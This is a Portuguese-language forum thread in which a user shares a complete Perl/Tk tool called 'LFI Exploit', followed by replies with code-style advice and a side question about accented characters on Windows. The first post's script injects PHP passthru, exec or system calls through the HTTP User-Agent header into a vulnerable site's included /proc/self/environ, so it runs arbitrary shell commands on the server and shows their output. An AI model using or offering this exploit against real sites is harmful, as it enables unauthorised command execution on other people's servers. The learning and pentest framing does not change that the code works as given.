Resultados 1 a 7 de 7

Tópico: LFI Exploit com TK

  1. #1
    Novato Avatar de edufgimenez
    Data de Ingresso
    Mar 2014
    Localização
    #!/usr/bin/perl
    Posts
    15
    Post Thanks / Like

    LFI Exploit com TK

    Fala galera, esse é um script que desenvolvi a um bom tempo atrás como aprendizagem e para executar testes em sites como pen test com falhas de Local File Include para facilitar o trabalho rs. É um script simples, mas fiz para ver como funcionava o Tk ( ficou meio feio a interface porque eu com criatividade em criação de janela não sou bom kkk ), mas funcionou do jeito que eu queria, se alguém puder dar uma olhada e me dizer o que eu poderia fazer para deixar o código mais legível, dicas do que eu poderia ter usado eu ficaria agradecido, pois sou bem noob em Perl mas quero aprender o modo correto *-*

    Segue o link do script no pastebin porque é muito grande para colar aqui.

    Código:
    http://pastebin.com/raw.php?i=MjsiQMu8
    Código:
    #!/usr/bin/perl
    
    #Código desenvolvido para aprendizagem em uso de pentest
    #Eduardo - Edu_loco
    
    use Tk;
    use LWP::Simple;
    use LWP::UserAgent;
    use HTTP::Request;
    
    #Configurações Janela Mãe#
    my $mw = MainWindow->new(-bg=>'black');
    $mw->title('Exploit LFI Desenvolvido Por Eduardo');
    $mw->geometry("800x750+300+50");
    #Fim Configurações Janela Mãe#
    
    #Inicio Configurações Labeletc...#
    
    $espaco = $mw->Frame(-bg=>'black')->pack();
    my $espaco1 = $espaco->Label(-text=>'', -bg=>'black')->pack();
    
    $header = $mw->Frame(-bg=>'black')->pack();
    my $head = $header->Label(-text=>'LFI EXPLOIT', -bg=>'black', -foreground=>'green', -font=>'Arial', -font=>'bold')->pack(-side=>'top');
    
    $espaco2 = $mw->Frame(-bg=>'black')->pack();
    my $espacoii = $espaco2->Label(-text=>'', -bg=>'black')->pack();
    
    $text = $mw->Frame(-bg=>'black')->pack();
    $text->Label(-text=>'Coloque o link completo abaixo: http://exemple.com/index.php?page=../../proc...', -bg=>'black', -foreground=>'white', -font=>'bold')->pack();
    my $search = $text->Entry(-width=>100, -bg=>'white', -foreground=>'black', -font=>'bold')->pack();
    $text->Label(-text=>'Coloque o comando a ser executato', -bg=>'black', -foreground=>'white', -font=>'bold')->pack();
    my $search2 = $text->Entry(-width=>40, -bg=>'white', -foreground=>'black', -font=>'bold')->pack();
    
    $frame = $mw->Frame(-bg=>'black')
        ->pack(-side=>'top');
    
    $frame->Label(-text=>"Escolha o modulo que deseja usar:",-bg=>'black', 
        -foreground=>'white')
        ->pack(-side=>'top');
    
    my $botao1 = $frame -> Radiobutton(-text=>"Passthru", 
          -value=>"pass",  -variable=>\$type, 
          -bg=>'white', -foreground=>'black', 
          -activebackground=>'green')
          ->pack(-side=>'left');
    
    my $botao2 = $frame -> Radiobutton(-text=>"exec", 
          -value=>"exec",-variable=>\$type, 
          -bg=>'white', -foreground=>'black', 
          -activebackground=>'green')
          ->pack(-side=>'left');
    
    my $botao3 = $frame -> Radiobutton(-text=>"system", 
                             -value=>"system",
          -variable=>\$type, -bg=>'white', 
          -foreground=>'black', -activebackground=>'green')
          ->pack(-side=>'left');
    
    $espaco3 = $mw->Frame(-bg=>'black')->pack();
    my $espacoiii = $espaco3->Label(-text=>'', -bg=>'black')->pack();
    
    #Fim Configurações Label,etc...#
    
    #Inicio Configurações Botão de Start e Janela de Conteúdo#
    
    $busca = $mw->Frame(-bg=>'black')->pack();
    my $busca2 = $busca->Button(-width=>15, -text=>'Exploitar', -bg=>'white', -activebackground=>'red', -command=>\&filtrar)->pack(-side=>'left');
    my $bindii = $mw->bind('<Key-Escape>', sub { clear(); });
    my $busca3 = $busca->Button(-width=>15, -text=>'Limpar', -bg=>'white', -activebackground=>'red', -command=>\&clear)->pack(-side=>'right');
    
    $espaco4 = $mw->Frame(-bg=>'black')->pack();
    my $espacoiv = $espaco4->Label(-text=>'', -bg=>'black')->pack();
    
    $caixa = $mw->Frame(-bg=>'black', -relief=>'flat')->pack();
    my $box = $caixa->Scrolled('Text', -bg=>'white', -foreground=>'black', -font=>'bold', -width=>100, -height=>18, -scrollbars=>'oe')->pack();
    
    $rodape = $mw->Frame(-bg=>'black')->pack();
    my $final = $rodape->Label(-text=>'Desenvolvido Por Eduardo', -bg=>'black', -foreground=>'green', -font=>'bold', -font=>50)->pack();
    my $final2 = $rodape->Label(-text=>'Nao me responsabilizo pelo mal uso do mesmo.', -bg=>'black', -foreground=>'green', -font=>'bold', -font=>50)->pack();
    #Fim Configurações Botão de Start e Janela de Conteúdo#
    
    MainLoop; #MainLoop :D
    
    #Inicio SubRotinas#
    
    sub filtrar() {
    my $procura = $search->get;
    my $code = $search2->get;
    
    if($type eq "pass") {
      my $bypass = "passthru";
      $teste = &query($procura,$code,$bypass);
      if($teste =~ m/HTTP_USER_AGENT=(.*)/) {
      my $resultado = $1;
              $box->insert("end", "[+] Executado com Sucesso: [+]\n"); 
        $box->insert("end","[+]". $resultado ."[+]\n"); 
        $mw->update;
      }
      elsif($teste =~ m/Forbidden/) {
        $box->insert("end","Maquina possivelmente protegida contra alteracao de UserAgent\n");
        $box->update;
      }
    }
    
    if($type eq "exec") {
      my $bypass = "exec";
      $teste = &query($procura,$code,$bypass);
      if($teste =~ m/HTTP_USER_AGENT=(.*)/) {
      my $resultado = $1;
              $box->insert("end", "[+] Executado com Sucesso: [+]\n"); 
        $box->insert("end","[+]". $resultado ."[+]\n");   
        $mw->update;
      }
        elsif($teste =~ m/Forbidden/) {
        $box->insert("end","Maquina possivelmente protegida contra alteracao de UserAgent\n");
        $box->update;
      }
      
    } 
    
    if($type eq "system") {
      my $bypass = "system";
      $teste = &query($procura,$code,$bypass);
      if($teste =~ m/HTTP_USER_AGENT=(.*)/) {
      my $resultado = $1;
              $box->insert("end", "[+] Executado com Sucesso: [+]\n"); 
        $box->insert("end","[+]". $resultado ."[+]\n");   
        $mw->update;
      }
        elsif($teste =~ m/Forbidden/) {
        $box->insert("end","Maquina possivelmente protegida contra alteracao de UserAgent\n");
        $box->update;
      }
    }
    
    if(!$type) {
    
      $box->insert("end","Voce nao escolheu o campo modulo\n");
      $mw->update;
    }
    } 
    
    sub clear() { 
      
      $box->delete('1.0','end'); 
      
      }
        
    #
    sub query() {
    my $url = $_[0];
    my $code = $_[1];
    my $bypass = $_[2];
    my $ua = LWP::UserAgent->new(agent => "<?".$bypass."('".$code."');?>");
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content();
    }
    
    #Fim SubRotinas#
    Última edição por str0p; 06 Apr 2014 às 12:44.

  2. #2
    Hacker ingresso Avatar de guedes.acp
    Data de Ingresso
    Sep 2010
    Localização
    #!/usr/bin/env perl
    Posts
    1.445
    Post Thanks / Like
    Opa, tomei a liberdade de postar seu código.
    Gostei da iniciativa, persistência é tudo.

    O código esta bom, mas da pra reduzir muitas coisas e melhorar outras.

    As rotinas para exec, system e pass são as mesmas, então não tem necessidade de repetir tantas vezes, crie uma subrotina para os trechos repetitivos do código.
    Particurlamente como se separam da mesma forma, nem pediria o tipo de rotina.

    Isso aqui:
    Código PHP:
    $teste = &query($procura,$code,$bypass);
      if(
    $teste =~ m/HTTP_USER_AGENT=(.*)/) {
      
    my $resultado = $1;
              
    $box->insert("end""[+] Executado com Sucesso: [+]\n"); 
        
    $box->insert("end","[+]"$resultado ."[+]\n");   
        
    $mw->update;
      }
        
    elsif($teste =~ m/Forbidden/) {
        
    $box->insert("end","Maquina possivelmente protegida contra alteracao de UserAgent\n");
        
    $box->update;
      } 
    se repete muito, então vale colocar em uma rotina. Rotinas, como o nome fala, é algo que você faz sempre.

    Outra coisa, quando você tem 2 condições usa-se 'if' e 'else', so. No caso acima você usou 'if' e 'elsif'.
    Em contra-partida a sub-rotina 'filtrar' tem 4 'if', quando devia ser 1 x 'if', 2 x 'elsif' e 1x 'else'.

    Alem disso, você pode melhorar o código adicionando uma lista de query caso o usuário não tenha uma.
    E mais, não executei seu código, nem li direito, mas parece que o usuario deve inserir query por query, isso é ruim, o melhor seria se ele pudesse inserir uma lista deixar rodando e no final retornar quais query apresentáram falha.

    Ainda, posso dizer que muitas maquinas e usuário tem dificuldade em instalar o Tk, e muitos nem gostam de interface, então poderia colocar a parte funcional (ou seja, o que procura a falha) em um módulo e fazer o script só com a parte gráfica chamando a parte funcional pelo módulo que você criou.

    Não coloquei nenhum código para não fazer o trabalho por você, o objetivo, afinal, e você aprender.
    Mas deixo aqui um link de um scan de LFI para você dar uma olhada. No geral parece bem com o seu.
    http://cpansearch.perl.org/src/ACPGU...ols/LFIScan.pm

    Espero que as dicas ajudem, aguardo ver suas modificações.
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!


    just another biomedical perl hacker try to learn Delphi

  3. #3
    Novato Avatar de edufgimenez
    Data de Ingresso
    Mar 2014
    Localização
    #!/usr/bin/perl
    Posts
    15
    Post Thanks / Like
    Na verdade guedes ele não chega a ser um scan e sim um executador, onde você coloca o link la encima e executa por exemplo um uname -a facilitando assim não ter que criar entradas no useragent do navegador para testar a falha, porém como você disse eu repeti muito mesmo coisas desnecessárias, amanha estarei com meu ubuntu funcionando novamente ( prefiro programar nele por ser nativo o perl e pelas ferramentas ), vou pegar esse projeto e edita-lo, assim que eu mudar algumas coisas eu posto de novo e você me dá suas dicas novamente, sobre o Tk eu usei ele mais como aprendizagem mesmo para ver como seria uma parte gráfica em Perl, vou desfazer a parte do Tk e refazer esse mesmo código com várias funções fora a de teste e vou postando para vocês darem uma olhada do que eu posso trocar , mas obrigado pelo elogio e pela força *-* é um grande incentivo para continuar, a e guedes eu te mandei uma MP ( não é dúvida sobre nada ) pode olhar depois por favor? Obrigado.


    Deixa eu aproveitar esse tópico mesmo e tirar uma dúvida, quando programo em Perl no linux ou até mesmo no windows mas executo no linux o programa, os acentos que eu coloco saem normal, porém no windows a acentuação sai toda errada, já tentei usar o use utf8; e mesmo assim dá problema... isso seria uma configuração do MS-DOS mesmo que não deixar sair a codificação dos acentos ou teria que usar alguma função para corrigir esse problema em caso do windows?
    Última edição por str0p; 06 Apr 2014 às 12:49.

  4. #4
    Hacker ingresso Avatar de guedes.acp
    Data de Ingresso
    Sep 2010
    Localização
    #!/usr/bin/env perl
    Posts
    1.445
    Post Thanks / Like
    Ta na hora de você iniciar tópicos novos para perguntas diferentes do título, outras pessoas podem ter a mesma duvida.

    Comigo é so usar utf8, ou melhor, uso o common::sense (Modern::Perl também vale), ajuda muito com isso.
    Última edição por str0p; 06 Apr 2014 às 12:51.
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!


    just another biomedical perl hacker try to learn Delphi

  5. #5
    Novato Avatar de edufgimenez
    Data de Ingresso
    Mar 2014
    Localização
    #!/usr/bin/perl
    Posts
    15
    Post Thanks / Like
    Vou tentar aqui , na próxima dúvida eu crio um tópico novo kk me desculpe.

    É mesmo usando o utf8 e os outros que você passou o problema é o mesmo :/ ele até muda o errado mas simplesmente substitui para outro caractere :s, quer que eu crie um tópico novo contendo essa dúvida para ficar organizado guedes? ai você apaga aqui ? Ou deixa essa passar aqui mesmo? No momento não vou poder testar no windows pois o que estou desenvolvendo esta onde eu trabalho :s
    Última edição por str0p; 06 Apr 2014 às 12:49.

  6. #6
    Old School ingresso Avatar de fvox
    Data de Ingresso
    Sep 2005
    Localização
    São Paulo - SP
    Posts
    4.486
    Post Thanks / Like
    Código PHP:
    use strict
    use warnings;
    use 
    utf8;
    use 
    open q(:locale); 
    []'s
    Acha que está caindo na insanidade? Mergulhe!

    Twitter | Blog | Facebook | Github

  7. #7
    Hacker ingresso Avatar de guedes.acp
    Data de Ingresso
    Sep 2010
    Localização
    #!/usr/bin/env perl
    Posts
    1.445
    Post Thanks / Like
    Citação Postado originalmente por fvox Ver Post
    Código PHP:
    use strict
    use warnings;
    use 
    utf8;
    use 
    open q(:locale); 
    []'s
    Lendário, achei que tava internado por uso compulsivo de narcóticos ou tinha morrido de overdose.
    Que bom saber que um grande perlzeiro como você ainda anda entre os vivos.
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!


    just another biomedical perl hacker try to learn Delphi

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •